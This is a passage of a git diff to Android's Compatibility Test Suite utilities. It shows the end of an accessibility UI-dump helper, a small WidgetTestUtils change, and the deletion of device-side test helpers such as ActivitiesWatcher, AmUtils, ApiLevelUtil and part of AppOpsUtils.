+            } else if (!node.isImportantForAccessibility()) {
+                markedNonFocusable = true;
+                out.append("(");
+            }
+
+            if (appendNodeText(out, node)) return true;
+        } finally {
+            backspaceIf(' ', out);
+            if (markedClickable) {
+                out.append("]");
+                if (node.isLongClickable()) out.append("+");
+                out.append(" ");
+            }
+            if (markedNonFocusable) out.append(") ");
+
+            if (CONCISE) out.append(" ");
+
+            for (Map.Entry<String, Boolean> prop : sNodeFlags.entrySet()) {
+                boolean value = call(node, boolGetter(prop.getKey()));
+                if (value != prop.getValue()) {
+                    out.append("#");
+                    if (!value) out.append("not_");
+                    out.append(prop.getKey()).append(" ");
+                }
+            }
+
+            if (SHOW_ACTIONS) {
+                LinkedHashSet<String> symbols = new LinkedHashSet<>();
+                for (AccessibilityAction accessibilityAction : node.getActionList()) {
+                    String symbol = sNodeActions.get(accessibilityAction);
+                    if (symbol != null) symbols.add(symbol);
+                }
+                merge(symbols, "←", "→", "↔");
+                merge(symbols, "↑", "↓", "↕");
+                symbols.forEach(out::append);
+                if (!symbols.isEmpty()) out.append(" ");
+
+                getActions(node)
+                        .map(a -> "[" + actionToString(a) + "] ")
+                        .forEach(out::append);
+            }
+
+            Bundle extras = node.getExtras();
+            for (String extra : extras.keySet()) {
+                if (extra.equals("AccessibilityNodeInfo.chromeRole")) continue;
+                if (extra.equals("AccessibilityNodeInfo.roleDescription")) continue;
+                String value = "" + extras.get(extra);
+                if (value.isEmpty()) continue;
+                out.append(extra).append(":").append(value).append(" ");
+            }
+        }
+        return true;
+    }
+
+    private static StringBuilder appendTextWithCursor(StringBuilder out, AccessibilityNodeInfo node,
+            CharSequence txt) {
+        out.append(txt);
+        insertAtEnd(out, txt.length() - 1 - node.getTextSelectionStart(), "ꕯ");
+        if (node.getTextSelectionEnd() != node.getTextSelectionStart()) {
+            insertAtEnd(out, txt.length() - 1 - node.getTextSelectionEnd(), "ꕯ");
+        }
+        return out;
+    }
+
+    private static boolean appendNodeText(StringBuilder out, AccessibilityNodeInfo node) {
+        CharSequence txt = node.getText();
+
+        Bundle extras = node.getExtras();
+        if (extras.containsKey("AccessibilityNodeInfo.roleDescription")) {
+            out.append("<").append(extras.getString("AccessibilityNodeInfo.chromeRole"))
+                    .append("> ");
+        } else if (extras.containsKey("AccessibilityNodeInfo.chromeRole")) {
+            out.append("<").append(extras.getString("AccessibilityNodeInfo.chromeRole"))
+                    .append("> ");
+        }
+
+        if (CONCISE) {
+            if (!isEmpty(node.getContentDescription())) {
+                out.append(escape(node.getContentDescription()));
+                return true;
+            }
+            if (!isEmpty(node.getPaneTitle())) {
+                out.append(escape(node.getPaneTitle()));
+                return true;
+            }
+            if (!isEmpty(txt) && !node.isEditable()) {
+                out.append('"');
+                if (node.getTextSelectionStart() > 0 || node.getTextSelectionEnd() > 0) {
+                    appendTextWithCursor(out, node, txt);
+                } else {
+                    out.append(escape(txt));
+                }
+                out.append('"');
+                return true;
+            }
+            if (!isEmpty(node.getViewIdResourceName())) {
+                out.append("@").append(fromLast("/", node.getViewIdResourceName()));
+                return true;
+            }
+        }
+
+        if (node.getParent() == null && node.getWindow() != null) {
+            appendWindow(node.getWindow(), out);
+            if (CONCISE) return true;
+            out.append(" ");
+        }
+
+        if (!extras.containsKey("AccessibilityNodeInfo.chromeRole")) {
+            out.append(fromLast(".", node.getClassName())).append(" ");
+        }
+        ifNotEmpty(node.getViewIdResourceName(),
+                s -> out.append("@").append(fromLast("/", s)).append(" "));
+        ifNotEmpty(node.getPaneTitle(), s -> out.append("## ").append(s).append(" "));
+        ifNotEmpty(txt, s -> out.append("\"").append(s).append("\" "));
+
+        ifNotEmpty(node.getContentDescription(), s -> out.append("//").append(s).append(" "));
+
+        appendArea(out, node::getBoundsInScreen);
+        return false;
+    }
+
+    private static <T> String valueToString(Class<?> clazz, String prefix, T value) {
+        String s = flagsToString(clazz, prefix, value, Objects::equals);
+        if (s.isEmpty()) s = "" + value;
+        return s;
+    }
+
+    private static <T> String flagsToString(Class<?> clazz, String prefix, T flags,
+            BiPredicate<T, T> test) {
+        return mkStr(sb -> {
+            consts(clazz, prefix)
+                    .filter(f -> box(f.getType()).isInstance(flags))
+                    .forEach(c -> {
+                        try {
+                            if (test.test(flags, read(null, c))) {
+                                sb.append(c.getName().substring(prefix.length())).append("|");
+                            }
+                        } catch (Exception e) {
+                            throw new RuntimeException("Error while dealing with " + c, e);
+                        }
+                    });
+            backspace(sb);
+        });
+    }
+
+    private static Class box(Class c) {
+        return c == int.class ? Integer.class : c;
+    }
+
+    private static Stream<Field> consts(Class<?> clazz, String prefix) {
+        return Arrays.stream(clazz.getDeclaredFields())
+                .filter(f -> isConst(f) && f.getName().startsWith(prefix));
+    }
+
+    private static boolean isConst(Field f) {
+        return Modifier.isStatic(f.getModifiers()) && Modifier.isFinal(f.getModifiers());
+    }
+
+    private static Character last(StringBuilder sb) {
+        return sb.length() == 0 ? null : sb.charAt(sb.length() - 1);
+    }
+
+    private static StringBuilder backspaceIf(char c, StringBuilder sb) {
+        if (Objects.equals(last(sb), c)) backspace(sb);
+        return sb;
+    }
+
+    private static StringBuilder backspace(StringBuilder sb) {
+        if (sb.length() != 0) {
+            sb.deleteCharAt(sb.length() - 1);
+        }
+        return sb;
+    }
+
+    private static String toStringRounding(float f) {
+        return f >= 5.0 ? "" + (int) f : String.format("%.1f", f);
+    }
+
+    private static int area(Rect r) {
+        return Math.abs((r.right - r.left) * (r.bottom - r.top));
+    }
+
+    private static String escape(CharSequence s) {
+        return mkStr(out -> {
+            for (int i = 0; i < s.length(); i++) {
+                char c = s.charAt(i);
+                if (c < 127 || c == 0xa0 || c >= 0x2000 && c < 0x2070) {
+                    out.append(c);
+                } else {
+                    out.append("\\u").append(Integer.toHexString(c));
+                }
+            }
+        });
+    }
+
+    private static Stream<AccessibilityAction> getActions(
+            AccessibilityNodeInfo node) {
+        if (node == null) return Stream.empty();
+        return node.getActionList().stream()
+                .filter(a -> !AccessibilityAction.ACTION_SHOW_ON_SCREEN.equals(a)
+                        && (a.getId()
+                                & ~IGNORED_ACTIONS
+                                & ~SPECIALLY_HANDLED_ACTIONS
+                            ) != 0);
+    }
+
+    private static String actionToString(AccessibilityAction a) {
+        if (!isEmpty(a.getLabel())) return a.getLabel().toString();
+        return valueToString(AccessibilityAction.class, "ACTION_", a);
+    }
+
+    private static void merge(Set<String> symbols, String a, String b, String ab) {
+        if (symbols.contains(a) && symbols.contains(b)) {
+            symbols.add(ab);
+            symbols.remove(a);
+            symbols.remove(b);
+        }
+    }
+
+    private static String fromLast(String substr, CharSequence whole) {
+        String wholeStr = whole.toString();
+        int idx = wholeStr.lastIndexOf(substr);
+        if (idx < 0) return wholeStr;
+        return wholeStr.substring(idx + substr.length());
+    }
+
+    private static String boolGetter(String propName) {
+        return "is" + Character.toUpperCase(propName.charAt(0)) + propName.substring(1);
+    }
+
+    private static <T> T read(Object o, Field f) {
+        try {
+            f.setAccessible(true);
+            return (T) f.get(o);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static <T> T call(Object o, String methodName, Object... args) {
+        Class clazz = o instanceof Class ? (Class) o : o.getClass();
+        try {
+            Method method = clazz.getDeclaredMethod(methodName, mapToTypes(args));
+            method.setAccessible(true);
+            //noinspection unchecked
+            return (T) method.invoke(o, args);
+        } catch (NoSuchMethodException e) {
+            throw new RuntimeException(
+                    newlineSeparated(Arrays.asList(clazz.getDeclaredMethods())), e);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static Class[] mapToTypes(Object[] args) {
+        return Arrays.stream(args).map(Object::getClass).toArray(Class[]::new);
+    }
+
+    private static void ifNotEmpty(CharSequence t, Consumer<CharSequence> f) {
+        if (!isEmpty(t)) {
+            f.accept(t);
+        }
+    }
+
+    private static StringBuilder insertAtEnd(StringBuilder sb, int pos, String s) {
+        return sb.insert(sb.length() - 1 - pos, s);
+    }
+
+    private static <T, R> R fold(List<T> l, R init, BiFunction<R, T, R> combine) {
+        R result = init;
+        for (T t : l) {
+            result = combine.apply(result, t);
+        }
+        return result;
+    }
+
+    private static <T> String toString(List<T> l, String sep, Function<T, String> elemToStr) {
+        return fold(l, "", (a, b) -> a + sep + elemToStr.apply(b));
+    }
+
+    private static <T> String toString(List<T> l, String sep) {
+        return toString(l, sep, String::valueOf);
+    }
+
+    private static String newlineSeparated(List<?> l) {
+        return toString(l, "\n");
+    }
+
+    private static String mkStr(Consumer<StringBuilder> build) {
+        StringBuilder t = new StringBuilder();
+        build.accept(t);
+        return t.toString();
+    }
+
+    private static class UiDumpWrapperException extends RuntimeException {
+        private UiDumpWrapperException(Throwable cause) {
+            super(cause.getMessage() + "\n\nWhile displaying the following UI:\n"
+                    + mkStr(sb -> dumpNodes(sUiAutomation.getRootInActiveWindow(), sb)), cause);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
index 6259986..7b029e6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
@@ -222,15 +222,13 @@
                     public void onDraw() {
                         // posting so that the sync happens after the draw that's about to happen
                         view.post(() -> {
-                            activityTestRule.getActivity().getWindow().getDecorView()
-                                    .getViewTreeObserver().removeOnDrawListener(this);
+                            view.getViewTreeObserver().removeOnDrawListener(this);
                             latch.countDown();
                         });
                     }
                 };
 
-                activityTestRule.getActivity().getWindow().getDecorView()
-                        .getViewTreeObserver().addOnDrawListener(listener);
+                view.getViewTreeObserver().addOnDrawListener(listener);
 
                 if (runner != null) {
                     runner.run();
diff --git a/common/device-side/util/Android.bp b/common/device-side/util/Android.bp
deleted file mode 100644
index 134b4f7..0000000
--- a/common/device-side/util/Android.bp
+++ /dev/null
@@ -1,39 +0,0 @@
-// Copyright (C) 2018 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_library_static {
-    name: "compatibility-device-util",
-    sdk_version: "test_current",
-
-    srcs: [
-        "src/**/*.java",
-        "src/**/*.aidl",
-    ],
-
-    static_libs: [
-        "compatibility-common-util-devicesidelib",
-        "android-support-test",
-        "ub-uiautomator",
-        "mockito-target-minus-junit4",
-        "androidx.annotation_annotation",
-        "truth-prebuilt",
-    ],
-
-    libs: [
-        "android.test.runner.stubs",
-        "android.test.base.stubs",
-    ],
-
-    jarjar_rules: "protobuf-jarjar-rules.txt",
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ActivitiesWatcher.java b/common/device-side/util/src/com/android/compatibility/common/util/ActivitiesWatcher.java
deleted file mode 100644
index a2b0152..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ActivitiesWatcher.java
+++ /dev/null
@@ -1,206 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-import android.app.Application.ActivityLifecycleCallbacks;
-import android.os.Bundle;
-import android.util.ArrayMap;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-
-import java.util.Map;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper object used to watch for activities lifecycle events.
- *
- * <p><b>NOTE:</b> currently it's limited to just one occurrence of each event.
- *
- * <p>These limitations will be fixed as needed (A.K.A. K.I.S.S. :-)
- */
-public final class ActivitiesWatcher implements ActivityLifecycleCallbacks {
-
-    private static final String TAG = ActivitiesWatcher.class.getSimpleName();
-
-    private final Map<String, ActivityWatcher> mWatchers = new ArrayMap<>();
-    private final long mTimeoutMs;
-
-    /**
-     * Default constructor.
-     *
-     * @param timeoutMs how long to wait for given lifecycle event before timing out.
-     */
-    public ActivitiesWatcher(long timeoutMs) {
-        mTimeoutMs = timeoutMs;
-    }
-
-    @Override
-    public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
-        Log.v(TAG, "onActivityCreated(): " + activity);
-        notifyWatcher(activity, ActivityLifecycle.CREATED);
-    }
-
-    @Override
-    public void onActivityStarted(Activity activity) {
-        Log.v(TAG, "onActivityStarted(): " + activity);
-        notifyWatcher(activity, ActivityLifecycle.STARTED);
-    }
-
-    @Override
-    public void onActivityResumed(Activity activity) {
-        Log.v(TAG, "onActivityResumed(): " + activity);
-        notifyWatcher(activity, ActivityLifecycle.RESUMED);
-    }
-
-    @Override
-    public void onActivityPaused(Activity activity) {
-        Log.v(TAG, "onActivityPaused(): " + activity);
-        notifyWatcher(activity, ActivityLifecycle.PAUSED);
-    }
-
-    @Override
-    public void onActivityStopped(Activity activity) {
-        Log.v(TAG, "onActivityStopped(): " + activity);
-        notifyWatcher(activity, ActivityLifecycle.STOPPED);
-    }
-
-    @Override
-    public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
-        Log.v(TAG, "onActivitySaveInstanceState(): " + activity);
-        notifyWatcher(activity, ActivityLifecycle.SAVE_INSTANCE);
-    }
-
-    @Override
-    public void onActivityDestroyed(Activity activity) {
-        Log.v(TAG, "onActivityDestroyed(): " + activity);
-        notifyWatcher(activity, ActivityLifecycle.DESTROYED);
-    }
-
-    /**
-     * Gets a watcher for the given activity.
-     *
-     * @throws IllegalStateException if already registered.
-     */
-    public ActivityWatcher watch(@NonNull Class<? extends Activity> clazz) {
-        return watch(clazz.getName());
-    }
-
-    @Override
-    public String toString() {
-        return "[ActivitiesWatcher: activities=" + mWatchers.keySet() + "]";
-    }
-
-    /**
-     * Gets a watcher for the given activity.
-     *
-     * @throws IllegalStateException if already registered.
-     */
-    public ActivityWatcher watch(@NonNull String className) {
-        if (mWatchers.containsKey(className)) {
-            throw new IllegalStateException("Already watching " + className);
-        }
-        Log.d(TAG, "Registering watcher for " + className);
-        final ActivityWatcher watcher = new ActivityWatcher(mTimeoutMs);
-        mWatchers.put(className,  watcher);
-        return watcher;
-    }
-
-    private void notifyWatcher(@NonNull Activity activity, @NonNull ActivityLifecycle lifecycle) {
-        final String className = activity.getComponentName().getClassName();
-        final ActivityWatcher watcher = mWatchers.get(className);
-        if (watcher != null) {
-            Log.d(TAG, "notifying watcher of " + className + " of " + lifecycle);
-            watcher.notify(lifecycle);
-        } else {
-            Log.v(TAG, lifecycle + ": no watcher for " + className);
-        }
-    }
-
-    /**
-     * Object used to watch for acitivity lifecycle events.
-     *
-     * <p><b>NOTE: </b>currently it only supports one occurrence for each event.
-     */
-    public static final class ActivityWatcher {
-        private final CountDownLatch mCreatedLatch = new CountDownLatch(1);
-        private final CountDownLatch mStartedLatch = new CountDownLatch(1);
-        private final CountDownLatch mResumedLatch = new CountDownLatch(1);
-        private final CountDownLatch mPausedLatch = new CountDownLatch(1);
-        private final CountDownLatch mStoppedLatch = new CountDownLatch(1);
-        private final CountDownLatch mSaveInstanceLatch = new CountDownLatch(1);
-        private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
-        private final long mTimeoutMs;
-
-        private ActivityWatcher(long timeoutMs) {
-            mTimeoutMs = timeoutMs;
-        }
-
-        /**
-         * Blocks until the given lifecycle event happens.
-         *
-         * @throws IllegalStateException if it times out while waiting.
-         * @throws InterruptedException if interrupted while waiting.
-         */
-        public void waitFor(@NonNull ActivityLifecycle lifecycle) throws InterruptedException {
-            final CountDownLatch latch = getLatch(lifecycle);
-            final boolean called = latch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
-            if (!called) {
-                throw new IllegalStateException(lifecycle + " not called in " + mTimeoutMs + " ms");
-            }
-        }
-
-        private CountDownLatch getLatch(@NonNull ActivityLifecycle lifecycle) {
-            switch (lifecycle) {
-                case CREATED:
-                    return mCreatedLatch;
-                case STARTED:
-                    return mStartedLatch;
-                case RESUMED:
-                    return mResumedLatch;
-                case PAUSED:
-                    return mPausedLatch;
-                case STOPPED:
-                    return mStoppedLatch;
-                case SAVE_INSTANCE:
-                    return mSaveInstanceLatch;
-                case DESTROYED:
-                    return mDestroyedLatch;
-                default:
-                    throw new IllegalArgumentException("unsupported lifecycle: " + lifecycle);
-            }
-        }
-
-        private void notify(@NonNull ActivityLifecycle lifecycle) {
-            getLatch(lifecycle).countDown();
-        }
-    }
-
-    /**
-     * Supported activity lifecycle.
-     */
-    public enum ActivityLifecycle {
-        CREATED,
-        STARTED,
-        RESUMED,
-        PAUSED,
-        STOPPED,
-        SAVE_INSTANCE,
-        DESTROYED
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ActivityLauncher.java b/common/device-side/util/src/com/android/compatibility/common/util/ActivityLauncher.java
deleted file mode 100644
index 20d9331..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ActivityLauncher.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-import android.content.Context;
-import android.content.Intent;
-import android.support.test.rule.ActivityTestRule;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
-
-/**
- * Helper used to launch an activity and watch for its lifecycle events.
- *
- * @param <A> activity type
- */
-public final class ActivityLauncher<A extends Activity> {
-
-    private final ActivityWatcher mWatcher;
-    private final ActivityTestRule<A> mActivityTestRule;
-    private final Intent mLaunchIntent;
-
-    public ActivityLauncher(@NonNull Context context, @NonNull ActivitiesWatcher watcher,
-            @NonNull Class<A> activityClass) {
-        mWatcher = watcher.watch(activityClass);
-        mActivityTestRule = new ActivityTestRule<>(activityClass);
-        mLaunchIntent = new Intent(context, activityClass);
-    }
-
-    /**
-     * Gets a watcher for the activity lifecycle events.
-     */
-    @NonNull
-    public ActivityWatcher getWatcher() {
-        return mWatcher;
-    }
-
-    /**
-     * Launches the activity.
-     */
-    @NonNull
-    public A launchActivity() {
-        return mActivityTestRule.launchActivity(mLaunchIntent);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AdoptShellPermissionsRule.java b/common/device-side/util/src/com/android/compatibility/common/util/AdoptShellPermissionsRule.java
deleted file mode 100644
index f7b50b4..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AdoptShellPermissionsRule.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.UiAutomation;
-import android.support.test.InstrumentationRegistry;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-/**
- * Custom JUnit4 rule that runs a test adopting Shell's permissions, revoking them at the end.
- *
- * <p>NOTE: should only be used in the cases where *every* test in a class requires the permission.
- * For a more fine-grained access, use
- * {@link SystemUtil#runWithShellPermissionIdentity(ThrowingRunnable)}
- * or {@link SystemUtil#callWithShellPermissionIdentity(java.util.concurrent.Callable)} instead.
- */
-public class AdoptShellPermissionsRule implements TestRule {
-
-    private final UiAutomation mUiAutomation;
-
-    private final String[] mPermissions;
-
-    public AdoptShellPermissionsRule() {
-        this(InstrumentationRegistry.getInstrumentation().getUiAutomation());
-    }
-
-    public AdoptShellPermissionsRule(@NonNull UiAutomation uiAutomation) {
-        this(uiAutomation, (String[]) null);
-    }
-
-    public AdoptShellPermissionsRule(@NonNull UiAutomation uiAutomation,
-            @Nullable String... permissions) {
-        mUiAutomation = uiAutomation;
-        mPermissions = permissions;
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-
-            @Override
-            public void evaluate() throws Throwable {
-                if (mPermissions != null) {
-                    mUiAutomation.adoptShellPermissionIdentity(mPermissions);
-                } else {
-                    mUiAutomation.adoptShellPermissionIdentity();
-                }
-                try {
-                    base.evaluate();
-                } finally {
-                    mUiAutomation.dropShellPermissionIdentity();
-                }
-            }
-        };
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AmUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AmUtils.java
deleted file mode 100644
index f3e178b..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AmUtils.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-public class AmUtils {
-    private static final String TAG = "CtsAmUtils";
-
-    private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity --proto processes";
-
-    private AmUtils() {
-    }
-
-    /** Run "adb shell am make-uid-idle PACKAGE" */
-    public static void runMakeUidIdle(String packageName) {
-        SystemUtil.runShellCommandForNoOutput("am make-uid-idle " + packageName);
-    }
-
-    /** Run "adb shell am kill PACKAGE" */
-    public static void runKill(String packageName) throws Exception {
-        runKill(packageName, false /* wait */);
-    }
-
-    public static void runKill(String packageName, boolean wait) throws Exception {
-        SystemUtil.runShellCommandForNoOutput("am kill --user cur " + packageName);
-
-        if (!wait) {
-            return;
-        }
-
-        TestUtils.waitUntil("package process was not killed:" + packageName,
-                () -> !isProcessRunning(packageName));
-    }
-
-    private static boolean isProcessRunning(String packageName) {
-        final String output = SystemUtil.runShellCommand("ps -A -o NAME");
-        String[] packages = output.split("\\n");
-        for (int i = packages.length -1; i >=0; --i) {
-            if (packages[i].equals(packageName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    /** Run "adb shell am set-standby-bucket" */
-    public static void setStandbyBucket(String packageName, int value) {
-        SystemUtil.runShellCommandForNoOutput("am set-standby-bucket " + packageName
-                + " " + value);
-    }
-
-    /** Wait until all broad queues are idle. */
-    public static void waitForBroadcastIdle() {
-        SystemUtil.runCommandAndPrintOnLogcat(TAG, "am wait-for-broadcast-idle");
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
deleted file mode 100644
index 943ebc7..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.os.Build;
-
-import java.lang.reflect.Field;
-
-/**
- * Device-side compatibility utility class for reading device API level.
- */
-public class ApiLevelUtil {
-
-    public static boolean isBefore(int version) {
-        return Build.VERSION.SDK_INT < version;
-    }
-
-    public static boolean isBefore(String version) {
-        return Build.VERSION.SDK_INT < resolveVersionString(version);
-    }
-
-    public static boolean isAfter(int version) {
-        return Build.VERSION.SDK_INT > version;
-    }
-
-    public static boolean isAfter(String version) {
-        return Build.VERSION.SDK_INT > resolveVersionString(version);
-    }
-
-    public static boolean isAtLeast(int version) {
-        return Build.VERSION.SDK_INT >= version;
-    }
-
-    public static boolean isAtLeast(String version) {
-        return Build.VERSION.SDK_INT >= resolveVersionString(version);
-    }
-
-    public static boolean isAtMost(int version) {
-        return Build.VERSION.SDK_INT <= version;
-    }
-
-    public static boolean isAtMost(String version) {
-        return Build.VERSION.SDK_INT <= resolveVersionString(version);
-    }
-
-    public static int getApiLevel() {
-        return Build.VERSION.SDK_INT;
-    }
-
-    public static boolean codenameEquals(String name) {
-        return Build.VERSION.CODENAME.equalsIgnoreCase(name.trim());
-    }
-
-    public static boolean codenameStartsWith(String prefix) {
-        return Build.VERSION.CODENAME.startsWith(prefix);
-    }
-
-    public static String getCodename() {
-        return Build.VERSION.CODENAME;
-    }
-
-    protected static int resolveVersionString(String versionString) {
-        // Attempt 1: Parse version string as an integer, e.g. "23" for M
-        try {
-            return Integer.parseInt(versionString);
-        } catch (NumberFormatException e) { /* ignore for alternate approaches below */ }
-        // Attempt 2: Find matching field in VersionCodes utility class, return value
-        try {
-            Field versionField = VersionCodes.class.getField(versionString.toUpperCase());
-            return versionField.getInt(null); // no instance for VERSION_CODES, use null
-        } catch (IllegalAccessException | NoSuchFieldException e) { /* ignore */ }
-        // Attempt 3: Find field within android.os.Build.VERSION_CODES
-        try {
-            Field versionField = Build.VERSION_CODES.class.getField(versionString.toUpperCase());
-            return versionField.getInt(null); // no instance for VERSION_CODES, use null
-        } catch (IllegalAccessException | NoSuchFieldException e) {
-            throw new RuntimeException(
-                    String.format("Failed to parse version string %s", versionString), e);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/AppOpsUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/AppOpsUtils.java
deleted file mode 100644
index 939d6da..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/AppOpsUtils.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2018 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.app.AppOpsManager.MODE_ALLOWED;
-import static android.app.AppOpsManager.MODE_DEFAULT;
-import static android.app.AppOpsManager.MODE_ERRORED;
-import static android.app.AppOpsManager.MODE_IGNORED;
-
-import android.app.AppOpsManager;
-import android.support.test.InstrumentationRegistry;
-
-import java.io.IOException;
-
-/**
- * Utilities for controlling App Ops settings, and testing whether ops are logged.
- */
-public class AppOpsUtils {
-
-    /**
-     * Resets a package's app ops configuration to the device default. See AppOpsManager for the
-     * default op settings.
-     *
-     * <p>
-     * It's recommended to call this in setUp() and tearDown() of your test so the test starts and
-     * ends with a reproducible default state, and so doesn't affect other tests.
-     *
-     * <p>
-     * Some app ops are configured to be non-resettable, which means that the state of these will
-     * not be reset even when calling this method.
-     */
-    public static String reset(String packageName) throws IOException {
-        return runCommand("appops reset " + packageName);
-    }
-
-    /**
-     * Sets the app op mode (e.g. allowed, denied) for a single package and operation.
-     */
-    public static String setOpMode(String packageName, String opStr, int mode)
-            throws IOException {
-        String modeStr;
-        switch (mode) {
-            case MODE_ALLOWED:
-                modeStr = "allow";
-                break;
-            case MODE_ERRORED:
-                modeStr = "deny";
-                break;
-            case MODE_IGNORED:
-                modeStr = "ignore";
-                break;
-            case MODE_DEFAULT:
-                modeStr = "default";
-                break;
-            default:
-                throw new IllegalArgumentException("Unexpected app op type");
-        }
-        String command = "appops set " + packageName + " " + opStr + " " + modeStr;
-        return runCommand(command);
-    }
-
-    /**
-     * Get the app op mode (e.g. MODE_ALLOWED, MODE_DEFAULT) for a single package and operation.
-     */
-    public static int getOpMode(String packageName, String opStr)
-            throws IOException {
-        String opState = getOpState(packageName, opStr);
-        if (opState.contains(" allow")) {
-            return MODE_ALLOWED;
-        } else if (opState.contains(" deny")) {
-            return MODE_ERRORED;
-        } else if (opState.contains(" ignore")) {
-            return MODE_IGNORED;
-        } else if (opState.contains(" default")) {
-            return MODE_DEFAULT;
-        } else {
-            throw new IllegalStateException("Unexpected app op mode returned " + opState);
-        }
-    }
-
-    /**
-     * Returns whether an allowed operation has been logged by the AppOpsManager for a
-     * package. Operations are noted when the app attempts to perform them and calls e.g.
-     * {@link AppOpsManager#noteOperation}.
-     *
